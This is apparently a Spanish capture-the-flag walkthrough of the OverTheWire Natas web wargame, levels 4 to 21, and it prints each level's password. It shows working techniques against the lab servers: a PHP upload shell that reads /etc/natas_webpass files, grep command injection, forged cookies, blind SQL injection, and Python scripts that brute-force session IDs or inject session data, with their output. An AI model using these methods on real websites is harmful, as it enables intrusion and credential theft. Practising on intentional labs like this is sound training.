DISCLAIMER: Esta página contiene spoilers sobre el juego y sus diferentes niveles. Como hackers éticos debéis intentar pensar "Out of the Box" y resolver los niveles con vuestros propios conocimientos y investigaciones.
Cada nivel de natas consta de su propio sitio web ubicado en http://natasX.natas.labs.overthewire.org, donde X es el número de nivel. No hay inicio de sesión SSH. Para acceder a un nivel, ingrese el nombre de usuario de ese nivel (por ejemplo, natas0 para el nivel 0) y su contraseña.
Cada nivel tiene acceso a la contraseña del siguiente nivel. Tu trabajo es obtener de alguna manera la siguiente contraseña y subir de nivel.
Todas las contraseñas también se almacenan en /etc/natas_webpass/. P.ej. la contraseña para natas5 se almacena en el archivo /etc/natas_webpass/natas5 y solo puede ser leída por natas4 y natas5.
Inspeccionando el archivo robots.txt de la raiz obtenemos un directorio /s3cre3t
users.txt
natas4:tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm
Natas 4
El mensaje indica que estás intentando acceder desde una URL no autorizada. Para superar este desafío necesitarás modificar la solicitud HTTP para que parezca que proviene de la URL autorizada. Puedes hacer esto manipulando la cabecera "Referer" de la solicitud.
The password for natas5 is Z0NsrtIkJoKALBCLi5eqFfcRN82Au2oD
Natas 5
Para resolver este reto, debemos activar el proxy en nuestro navegador para que las peticiones pasen por Burp Suite. Yo tengo habilitado el plugin FoxyProxy para que la conexión sea más facil e intuitiva.
Recargamos la página y se envia la petición a BurpSuite
Vemos el parámetro loggedin=0, lo mandamos al repeater y cambiamos el 0 por 1
The password for natas6 is fOIvE0MDtPTgRhqmmvvAOt2EfXR6uQgR
Natas 6
En el código fuente nos encontramos con un script en php:
<?include"includes/secret.inc";if(array_key_exists("submit", $_POST)) {if($secret == $_POST['secret']) {print"Access granted. The password for natas7 is <censored>"; } else {print"Wrong secret"; } }?>
Encontramos el directorio /includes/secret.inc asi que vamos a acceder
<?$secret ="FOEIUWGHFEEUHOFUOIU";?>
Copiamos la cadena de texto y la enviamos como query desde el index:
The password for natas7 is jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr
Natas 7
En el código fuente encontramos una pista:
<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
Si hacemos click en los enlaces del index vemos que añade parámetros a la URL
En el código fuente nos encontramos este script en php:
<?$encodedSecret ="3d3d516343746d4d6d6c315669563362";functionencodeSecret($secret) {returnbin2hex(strrev(base64_encode($secret)));}if(array_key_exists("submit", $_POST)) {if(encodeSecret($_POST['secret'])== $encodedSecret) {print"Access granted. The password for natas9 is <censored>"; } else {print"Wrong secret"; }}?>
El código PHP proporcionado realiza una codificación del secreto mediante la función encodeSecret. La codificación implica tres pasos:
base64_encode: Codificación Base64 del secreto.
strrev: Reversión de la cadena resultante.
bin2hex: Conversión de la cadena binaria a hexadecimal. El valor codificado es comparado con $encodedSecret, y si coinciden, se imprime el mensaje "Access granted. The password for natas9 is ".
Para obtener el password del siguiente nivel, necesitas realizar la operación inversa. Aquí hay un ejemplo de cómo hacerlo en PHP:
nanoquery.php
query.php
<?phpfunctiondecodeSecret($encodedSecret) {// Realiza las operaciones inversas en orden inverso $decodedSecret =base64_decode(strrev(hex2bin($encodedSecret)));return $decodedSecret;}// El valor codificado proporcionado$encodedSecret ="3d3d516343746d4d6d6c315669563362";// Decodifica el secreto$decodedSecret =decodeSecret($encodedSecret);echo"Decoded Secret: $decodedSecret";?>
❯ php query.phpDecoded Secret: oubWYf2kBq
Introducimos el decoded secret en el index y nos devuelve el password:
The password for natas9 is Sda6t0vkOPkM8YeOZkAGVhFoaplvlJFd
Natas 9
En el código fuente encontramos el siguiente script en php:
Dado que ciertos caracteres han sido filtrados y el script utiliza preg_match para verificar si hay caracteres ilegales, podríamos intentar eludir esta restricción.
Con esta query:
a/etc/natas_webpass/natas11
Podemos suponer que enviará el comando:
grep-ia/etc/natas_webpass/natas11diccionario.txt
buscando tanto en “/etc/natas_webpass/natas11” como en “dictionary.txt” la letra a, lo que nos debería devolver el password de natas11
El password de natas11 es 1KFqoJXi6hRaPluAmk8ESDW4fSysRoIg
Natas 11
Al loguearnos nos dice que las cookies están protegidas con enciptación XOR. En el código fuente encontramos el siguiente script:
Este código PHP está cifrando y descifrando cookies usando XOR encryption. La función xor_encrypt realiza la operación XOR entre cada caracter del texto y la clave. A continuación, te explico cómo funciona el código:
Para obtener la cookie data vamos al inspector > Stogare y copiamos el valor "Value"
Reutilizando la función xor_encrypt del código original, podemos pasarle la cookie data e indicando que la variable $key será $defaultdata (codificada en json):
...SNIP...
<h1>natas11</h1>
<div id="content">
<body style="background: #ffffff;">
Cookies are protected with XOR encryption<br/><br/>
The password for natas12 is YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG
También se puede editar la cookie desde el navegador y actualizar la página:
Natas 12
En el codigo fuente nos encontramos este código en php:
<?phpfunctiongenRandomString() { $length =10; $characters ="0123456789abcdefghijklmnopqrstuvwxyz"; $string ="";for ($p =0; $p < $length; $p++) { $string .= $characters[mt_rand(0,strlen($characters)-1)]; }return $string;}functionmakeRandomPath($dir, $ext) {do { $path = $dir."/".genRandomString().".".$ext; } while(file_exists($path));return $path;}functionmakeRandomPathFromFilename($dir, $fn) { $ext =pathinfo($fn,PATHINFO_EXTENSION);returnmakeRandomPath($dir, $ext);}if(array_key_exists("filename", $_POST)) { $target_path =makeRandomPathFromFilename("upload", $_POST["filename"]);if(filesize($_FILES['uploadedfile']['tmp_name'])>1000) {echo"File is too big"; } else {if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {echo"The file <a href=\"$target_path\">$target_path</a> has been uploaded"; } else{echo"There was an error uploading the file, please try again!"; } }} else {?>
El script le da un nombre random a los ficheros que se suben, y lo limita a 1kb de peso.
Vamos a crear un archivo exploit.php con el siguiente código, esto ejecutará automáticamente lo que le indiquemos, en este caso el password de natas13:
En el codigo fuente nos encontramos con este codigo en php:
<?phpfunctiongenRandomString() { $length =10; $characters ="0123456789abcdefghijklmnopqrstuvwxyz"; $string ="";for ($p =0; $p < $length; $p++) { $string .= $characters[mt_rand(0,strlen($characters)-1)]; }return $string;}functionmakeRandomPath($dir, $ext) {do { $path = $dir."/".genRandomString().".".$ext; } while(file_exists($path));return $path;}functionmakeRandomPathFromFilename($dir, $fn) { $ext =pathinfo($fn,PATHINFO_EXTENSION);returnmakeRandomPath($dir, $ext);}if(array_key_exists("filename", $_POST)) { $target_path =makeRandomPathFromFilename("upload", $_POST["filename"]); $err=$_FILES['uploadedfile']['error'];if($err){if($err ===2){echo"The uploaded file exceeds MAX_FILE_SIZE"; } else{echo"Something went wrong :/"; } } elseif(filesize($_FILES['uploadedfile']['tmp_name'])>1000) {echo"File is too big"; } elseif (!exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {echo"File is not an image"; } else {if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {echo"The file <a href=\"$target_path\">$target_path</a> has been uploaded"; } else{echo"There was an error uploading the file, please try again!"; } }} else {?>
Este código PHP está diseñado para manejar la subida de archivos al servidor. Aquí hay una descripción de las funciones y la lógica del código:
genRandomString: Genera una cadena aleatoria de longitud 10 compuesta por caracteres alfanuméricos (0-9, a-z).
makeRandomPath: Crea una ruta de archivo aleatoria en el directorio "upload" utilizando la función genRandomString y la extensión proporcionada como argumento. Asegura que el archivo no exista previamente en ese directorio.
makeRandomPathFromFilename: Toma un nombre de archivo como argumento, extrae la extensión usando pathinfo, y luego llama a makeRandomPath para generar una ruta de archivo aleatoria.
El código verifica si el formulario se ha enviado (array_key_exists("filename", $_POST)). Si es así, procede a procesar el archivo.
Comprueba si el tamaño del archivo supera el límite de 1000 bytes (filesize($_FILES['uploadedfile']['tmp_name']) > 1000). Si es así, imprime un mensaje indicando que el archivo es demasiado grande.
Utiliza exif_imagetype para verificar si el archivo es una imagen. Si no es una imagen válida, imprime un mensaje indicando que el archivo no es una imagen.
Si pasa todas las verificaciones, mueve el archivo temporalmente cargado a la ruta generada aleatoriamente y muestra un mensaje indicando que el archivo se ha subido correctamente.
Al igual que en el reto anterior, podemos crear el fichero natas13.jpg con el siguiente código para que se muestre el contenido del fichero /etc/natas_webpass/natas14, pero esta vez debemos utilizar una extensión .jpg de imagen.
# Dejamos 4 espacios al inicio, que los cambiaremos por null bytesecho' <?php echo exec("cat /etc/natas_webpass/natas14"); ?>'>natas13.jpg
Pero si intentamos subir este fichero va a detectar que no es una imagen, ya que no sólo se comprueba la extensión del fichero, sino que comprueba que contenga una firma de tipo JPG.
Primero debemos insertar null bytes, esto lo podemos hacer presionando 4 veces Ctrl + A. Luego podemos sustituir estos null bytes por los valores FF D8 FF DB (por ejemplo), y presionamos Ctrl + X para guardar y salir.
Antes de darle a upload cambiamos la extensión del archivo a php desde el inspector:
Le damos a upload y nos crea el directorio correctamente, con el archivo con extensión .php
Intentando varias inyeccions SQL ninguna resultó con éxito. Buscando por internet encontré este script, hecho a medida para hacer bruteforce de este nivel:
Si analizamos el código, observamos que se han definido una serie de caracteres que no podrán ser introducidos. También podemos observar que se realiza una búsqueda en el fichero dictionary.txt, esta búsqueda se realiza utilizando la función passthru de PHP. Por último, la URL deberá de contener la clave needle.
La forma de realizar un ataque a este código, es realizar un ataque a ciegas por inyección SQL, en inglés, Blind SQL injection, como hicimos en el ejemplo anterior.
Para que eso funcione, necesitamos encontrar una manera de responder a la pregunta ¿tiene la contraseña, almacenada en /etc/natas_webpass/natas17, la letra a? .
Una forma es el hecho de que muestra datos si existe una subcadena, de lo contrario devuelve un contenido vacío.
<?php
$maxid = 640; // 640 should be enough for everyone
function isValidAdminLogin() { /* {{{ */
if($_REQUEST["username"] == "admin") {
/* This method of authentication appears to be unsafe and has been disabled for now. */
//return 1;
}
return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
global $maxid;
return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
/* }}} */
function my_session_start() { /* {{{ */
if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
if(!session_start()) {
debug("Session start failed");
return false;
} else {
debug("Session start ok");
if(!array_key_exists("admin", $_SESSION)) {
debug("Session was old: admin flag set");
$_SESSION["admin"] = 0; // backwards compatible, secure
}
return true;
}
}
return false;
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas19\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
}
}
/* }}} */
$showform = true;
if(my_session_start()) {
print_credentials();
$showform = false;
} else {
if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
session_id(createID($_REQUEST["username"]));
session_start();
$_SESSION["admin"] = isValidAdminLogin();
debug("New session started");
$showform = false;
print_credentials();
}
}
if($showform) {
?>
Observamos que nos signa un PHPSESSID, y que si coincide con el SSID de admin nos devuelve la contraseña, por lo que crearemos un script en python para automatizarlo:
import requests
for i in range(700):
url = "http://natas18.natas.labs.overthewire.org/index.php"
payload = {"username": "admin", "password": "aa"}
headers = {"Cookie": "PHPSESSID={0}".format(i), "Authorization": "Basic bmF0YXMxODo4TkVEVVV4ZzhrRmdQVjg0dUx3dlprR242b2tKUTZhcQ=="}
r = requests.post(url, params=payload, headers=headers)
if "You are logged in as a regular user" in r.text:
print("fail")
else:
print(r.text)
exit()
python exploit.py
fail
fail
fail
fail
fail
fail
fail
...SNIP...
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas18", "pass": "8NEDUUxg8kFgPV84uLwvZkGn6okJQ6aq" };</script></head>
<body>
<h1>natas18</h1>
<div id="content">
You are an admin. The credentials for the next level are:<br><pre>Username: natas19
Password: 8LMJEhKFbMKIL2mxQKjv0aEDdk7zpT0s</pre><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
Natas 19
Nos dice que es similar al nivel anterior pero que no utiliza IDs secuenciales
El nuevo formato de PHPSESSID es "3539362d61646d696e" y parece relacionarse con "596-admin", podríamos modificar el script para generar PHPSESSIDs en ese formato específico:
exploit.py
import requests
import binascii
for i in range(1, 641): # Ajusta el rango según sea necesario
session_id = str(i) + "-admin"
hex_session_id = binascii.hexlify(session_id.encode()).decode()
url = "http://natas19.natas.labs.overthewire.org/index.php"
payload = {"name": "admin", "password": "aa"}
cookies = {"PHPSESSID": hex_session_id}
headers = {"Authorization": "Basic bmF0YXMxOTo4TE1KRWhLRmJNS0lMMm14UUtqdjBhRURkazd6cFQwcw=="}
r = requests.post(url, params=payload, cookies=cookies, headers=headers)
if "You are logged in as a regular user" not in r.text:
print(r.text)
exit()
print("No se encontró la contraseña.")
python exploit.py
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas19", "pass": "8LMJEhKFbMKIL2mxQKjv0aEDdk7zpT0s" };</script></head>
<body>
<h1>natas19</h1>
<div id="content">
<p>
<b>
This page uses mostly the same code as the previous level, but session IDs are no longer sequential...
</b>
</p>
You are an admin. The credentials for the next level are:<br><pre>Username: natas20
Password: guVaZ3ET35LbgbFMoaN5tFcYT1jEP7UH</pre></div>
</body>
Natas 20
En el codigo fuente nos encontramos con un script en php bastante extenso, en el que vemos la siguiente función:
function mywrite($sid, $data) {
// $data contains the serialized version of $_SESSION
// but our encoding is better
debug("MYWRITE $sid $data");
// make sure the sid is alnum only!!
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return;
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
$data = "";
debug("Saving in ". $filename);
ksort($_SESSION);
foreach($_SESSION as $key => $value) {
debug("$key => $value");
$data .= "$key $value\n";
}
file_put_contents($filename, $data);
chmod($filename, 0600);
}
El PHPSESSID es alfanumérico en este nivel. También observamos lo siguiente:
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas21\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
}
}
/* }}} */
# Nos fijamos en esta línea:
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)
Entonces, si podemos escribir "admin 1" en el archivo de sesiones, deberíamos poder iniciar sesión como administrador. Intentemos eso con un script a medida:
import requests
username = "natas20"
password = "guVaZ3ET35LbgbFMoaN5tFcYT1jEP7UH"
url = "http://natas20.natas.labs.overthewire.org"
# -----------------------------------
payload = dict(name="test\nadmin 1")
# -----------------------------------
# Send the payload
r = requests.post(url, auth=(username, password), data=payload)
cookie = r.cookies.get_dict()
# Request with cookie from previous POST request
d = requests.get(url, auth=(username, password), cookies=cookie)
# Format the output for better readability
print("Response Headers:")
print(d.headers)
print("\nResponse Content:")
print(d.content.decode('utf-8'))
python exploit.py
Response Headers:
{'Date': 'Tue, 07 Nov 2023 08:49:02 GMT', 'Server': 'Apache/2.4.52 (Ubuntu)', 'Expires': 'Thu, 19 Nov 1981 08:52:00 GMT', 'Cache-Control': 'no-store, no-cache, must-revalidate', 'Pragma': 'no-cache', 'Vary': 'Accept-Encoding', 'Content-Encoding': 'gzip', 'Content-Length': '681', 'Keep-Alive': 'timeout=5, max=100', 'Connection': 'Keep-Alive', 'Content-Type': 'text/html; charset=UTF-8'}
Response Content:
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas20", "pass": "guVaZ3ET35LbgbFMoaN5tFcYT1jEP7UH" };</script></head>
<body>
<h1>natas20</h1>
<div id="content">
You are an admin. The credentials for the next level are:<br><pre>Username: natas21
Password: 89OWrTkGmiLZLv12JY4tLj2c4FW0xn56</pre>
Natas 21
En el codigo fuente hay el siguiente script en php:
<?php
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas22\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas22.";
}
}
/* }}} */
session_start();
print_credentials();
?>
La web dice que se encuentra realojada en un subdominio experimenter. Al ir a la web nos pide credenciales, introducimos las del nivel actual y nos logueamos con éxito:
En esta web podemos interactuar con el CSS directamente desde el frontal. En el codigo fuente nos encontramos este script en php: